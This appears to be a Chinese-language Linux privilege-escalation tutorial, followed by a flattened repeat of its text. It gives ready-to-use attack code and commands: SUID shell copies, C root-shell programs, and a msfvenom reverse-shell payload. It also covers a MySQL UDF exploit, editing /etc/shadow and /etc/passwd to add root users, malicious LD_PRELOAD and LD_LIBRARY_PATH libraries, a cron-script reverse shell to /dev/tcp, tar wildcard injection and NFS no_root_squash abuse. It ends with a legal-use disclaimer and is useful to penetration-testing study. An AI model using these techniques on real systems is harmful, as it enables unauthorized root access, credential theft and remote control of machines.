手把手教你Linux提权
字数 1945 2025-08-09 18:44:03

Linux提权全面指南

0x01 基本概念

用户、组、文件和目录关系

  • 用户

    • 账户配置在/etc/passwd
    • 密码哈希存储在/etc/shadow
    • 由UID识别,root用户的UID为0
    • 配置在/etc/group
    • 用户有一个主要组和多个补充组
  • 文件权限

    • 读(r):可读取内容
    • 写(w):可修改内容
    • 执行(x):可作为进程运行
  • 目录权限

    • 执行(x):可进入目录
    • 读(r):可列出内容
    • 写(w):可创建文件/子目录

特殊权限

  • SUID:文件以所有者权限执行
  • SGID
    • 文件:以文件组权限执行
    • 目录:新建文件继承目录组

查看权限

ls -l /bin/date

前10个字符表示权限:类型(1)+所有者(3)+组(3)+其他(3)

UID/GID类型

  • 真实ID/etc/passwd中定义
  • 有效ID:用于访问控制决策
  • 保存ID:确保SUID进程安全切换

查看当前进程ID:

cat /proc/
$$
/status | grep "[UG]id"

0x02 生成Shell方法

SUID Bash副本

cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p

自定义可执行文件

C代码:

int main() {
    setuid(0);
    system("/bin/bash -p");
}

编译:

gcc -o shell shell.c

使用msfvenom

生成反向shell:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf

本地反向shell工具:

https://github.com/mthbernardes/rsg

0x03 提权工具

  1. Linux Smart Enumeration (LSE)

    • 适用于无Python环境
    • 多级别信息收集
    • https://github.com/diego-treitos/linux-smart-enumeration
  2. LinEnum

    • 高级Bash脚本
    • 提取大量系统信息
    • https://github.com/rebootuser/LinEnum
  3. 其他工具

    • https://github.com/linted/linuxprivchecker
    • https://github.com/AlessandroZ/BeRoot
    • http://pentestmonkey.net/tools/audit/unix-privesc-check

0x04 内核漏洞提权

步骤

  1. 查看内核版本:

    uname -a
    
  2. 搜索匹配漏洞:

    • Google
    • ExploitDB
    • GitHub
  3. 编译运行漏洞利用

内核漏洞建议器

./linux-exploit-suggester-2.pl -k <内核版本>

Dirty COW (CVE-2016-5195)

参考利用:
https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54

编译:

gcc -pthread c0w.c -o c0w

0x05 服务漏洞提权

查找以root运行的服务

ps aux | grep "^root"

检查程序版本

Debian系:

dpkg -l | grep <程序>

RPM系:

rpm -qa | grep <程序>

MySQL UDF提权

  1. 下载利用代码:
    https://www.exploit-db.com/exploits/1518

  2. 编译:

    gcc -g -c raptor_udf2.c -fPIC
    gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
    
  3. MySQL中执行:

    use mysql;
    create table foo(line blob);
    insert into foo values(load_file('/path/to/raptor_udf2.so'));
    select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
    create function do_system returns integer soname 'raptor_udf2.so';
    select do_system('cp /bin/bash /tmp/rootbash;chmod +s /tmp/rootbash');
    

端口转发

ssh -R <本地端口>:127.0.0.1:<目标端口> <用户名>@<本地IP>

0x06 脆弱的文件权限

查找可写文件

find /etc -maxdepth 1 -writable -type f
find / -executable -writable -type d 2>/dev/null

/etc/shadow利用

  1. 读取哈希并破解:

    head -n 1 /etc/shadow
    john --format=sha512crypt hash.txt
    
  2. 直接修改:

    mkpasswd -m sha-512 newpassword
    # 替换root密码哈希
    

/etc/passwd利用

  1. 删除密码字段(x):

    root::0:0:root:/root:/bin/bash
    
  2. 添加新root用户:

    newroot:<哈希>:0:0:root:/root:/bin/bash
    

备份文件利用

查找备份文件:

ls -la /home/user / /tmp /var/backups

SSH私钥利用:

chmod 600 root_key
ssh -i root_key root@<IP>

0x07 Sudo提权

基本方法

sudo su
sudo -s
sudo -i
sudo /bin/bash
sudo passwd

外壳逃逸序列

  1. 列出允许的程序:

    sudo -l
    
  2. 查找逃逸方法:
    https://gtfobins.github.io

滥用预期功能

示例:通过apache2读取/etc/shadow

sudo apache2 -f /etc/shadow

环境变量利用

LD_PRELOAD

  1. 创建preload.c:

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
    }
    
  2. 编译:

    gcc -fPIC -shared -nostartfiles -o preload.so preload.c
    
  3. 执行:

    sudo LD_PRELOAD=/path/to/preload.so <程序>
    

LD_LIBRARY_PATH

  1. 查找依赖库:

    ldd /usr/sbin/apache2
    
  2. 创建恶意库:

    #include <stdio.h>
    #include <stdlib.h>
    static void hijack() __attribute__((constructor));
    void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
    }
    
  3. 编译执行:

    gcc -o libcrypt.so.1 -shared -fPIC library_path.c
    sudo LD_LIBRARY_PATH=. apache2
    

滥用shell功能

  1. 创建函数:

    function /usr/sbin/service { /bin/bash -p; }
    export -f /usr/sbin/service
    
  2. 执行SUID程序

0x08 Cron Jobs提权

可写脚本利用

  1. 查找cron jobs:

    cat /etc/crontab
    locate overwrite.sh
    
  2. 替换脚本内容:

    #!/bin/bash
    bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
    

PATH变量利用

  1. 查看PATH顺序:

    cat /etc/crontab
    
  2. 创建同名恶意程序在PATH优先目录

通配符利用

  1. 查找使用通配符的cron jobs

  2. 创建匹配参数的文件名:

    touch --checkpoint=1
    touch --checkpoint-action=exec=shell.elf
    

0x09 SUID/SGID提权

查找SUID/SGID文件

find / -type f -a $ -perm -u+s -o -perm -g+s $ -exec ls -l {} \; 2>/dev/null

外壳逃逸序列

参考:https://gtfobins.github.io

共享对象注入

  1. 跟踪缺失的库:

    strace /path/to/suid-so 2>&1 | grep -iE "open|access|no such file"
    
  2. 创建恶意库:

    #include <stdio.h>
    #include <stdlib.h>
    static void inject() __attribute__((constructor));
    void inject() {
        setuid(0);
        system("/bin/bash -p");
    }
    
  3. 编译放置到正确路径

路径变量利用

  1. 查找程序调用的命令:

    strings /path/to/suid-env
    strace -v -f -e execve /path/to/suid-env 2>&1 | grep exec
    
  2. 创建恶意程序在PATH优先目录

0x10 密码和密钥利用

历史文件检查

cat ~/.*history | less

配置文件检查

查找包含凭据的配置文件:

ls /home/user
cat /etc/openvpn/auth.txt

SSH密钥利用

  1. 查找SSH密钥:

    ls -l /.ssh
    
  2. 使用密钥登录:

    chmod 600 root_key
    ssh -i root_key root@<IP>
    

0x11 NFS提权

no_root_squash利用

  1. 检查配置:

    cat /etc/exports
    showmount -e <IP>
    
  2. 挂载共享:

    mkdir /tmp/nfs
    mount -o rw,vers=2 <IP>:/tmp /tmp/nfs
    
  3. 创建SUID shell:

    msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
    chmod +xs /tmp/nfs/shell.elf
    
  4. 在目标执行:

    /tmp/shell.elf
    

提权总结步骤

  1. 信息收集:

    id
    whoami
    
  2. 运行枚举脚本:

    • Linux Smart Enumeration
    • LinEnum
  3. 检查:

    • Sudo权限
    • Cron jobs
    • SUID/SGID文件
    • 以root运行的服务
  4. 检查:

    • 历史文件
    • 配置文件
    • 备份文件
  5. 最后考虑内核漏洞

注意:所有技术仅用于合法授权测试,请遵守法律法规。

Linux提权全面指南 0x01 基本概念 用户、组、文件和目录关系 用户 : 账户配置在 /etc/passwd 密码哈希存储在 /etc/shadow 由UID识别,root用户的UID为0 组 : 配置在 /etc/group 用户有一个主要组和多个补充组 文件权限 : 读(r):可读取内容 写(w):可修改内容 执行(x):可作为进程运行 目录权限 : 执行(x):可进入目录 读(r):可列出内容 写(w):可创建文件/子目录 特殊权限 SUID :文件以所有者权限执行 SGID : 文件:以文件组权限执行 目录:新建文件继承目录组 查看权限 前10个字符表示权限:类型(1)+所有者(3)+组(3)+其他(3) UID/GID类型 真实ID : /etc/passwd 中定义 有效ID :用于访问控制决策 保存ID :确保SUID进程安全切换 查看当前进程ID: 0x02 生成Shell方法 SUID Bash副本 自定义可执行文件 C代码: 编译: 使用msfvenom 生成反向shell: 本地反向shell工具: 0x03 提权工具 Linux Smart Enumeration (LSE) : 适用于无Python环境 多级别信息收集 https://github.com/diego-treitos/linux-smart-enumeration LinEnum : 高级Bash脚本 提取大量系统信息 https://github.com/rebootuser/LinEnum 其他工具 : https://github.com/linted/linuxprivchecker https://github.com/AlessandroZ/BeRoot http://pentestmonkey.net/tools/audit/unix-privesc-check 0x04 内核漏洞提权 步骤 查看内核版本: 搜索匹配漏洞: Google ExploitDB GitHub 编译运行漏洞利用 内核漏洞建议器 Dirty COW (CVE-2016-5195) 参考利用: https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54 编译: 0x05 服务漏洞提权 查找以root运行的服务 检查程序版本 Debian系: RPM系: MySQL UDF提权 下载利用代码: https://www.exploit-db.com/exploits/1518 编译: MySQL中执行: 端口转发 0x06 脆弱的文件权限 查找可写文件 /etc/shadow利用 读取哈希并破解: 直接修改: /etc/passwd利用 删除密码字段(x): 添加新root用户: 备份文件利用 查找备份文件: SSH私钥利用: 0x07 Sudo提权 基本方法 外壳逃逸序列 列出允许的程序: 查找逃逸方法: https://gtfobins.github.io 滥用预期功能 示例:通过apache2读取/etc/shadow 环境变量利用 LD_ PRELOAD 创建preload.c: 编译: 执行: LD_ LIBRARY_ PATH 查找依赖库: 创建恶意库: 编译执行: 滥用shell功能 创建函数: 执行SUID程序 0x08 Cron Jobs提权 可写脚本利用 查找cron jobs: 替换脚本内容: PATH变量利用 查看PATH顺序: 创建同名恶意程序在PATH优先目录 通配符利用 查找使用通配符的cron jobs 创建匹配参数的文件名: 0x09 SUID/SGID提权 查找SUID/SGID文件 外壳逃逸序列 参考:https://gtfobins.github.io 共享对象注入 跟踪缺失的库: 创建恶意库: 编译放置到正确路径 路径变量利用 查找程序调用的命令: 创建恶意程序在PATH优先目录 0x10 密码和密钥利用 历史文件检查 配置文件检查 查找包含凭据的配置文件: SSH密钥利用 查找SSH密钥: 使用密钥登录: 0x11 NFS提权 no_ root_ squash利用 检查配置: 挂载共享: 创建SUID shell: 在目标执行: 提权总结步骤 信息收集: 运行枚举脚本: Linux Smart Enumeration LinEnum 检查: Sudo权限 Cron jobs SUID/SGID文件 以root运行的服务 检查: 历史文件 配置文件 备份文件 最后考虑内核漏洞 注意 :所有技术仅用于合法授权测试,请遵守法律法规。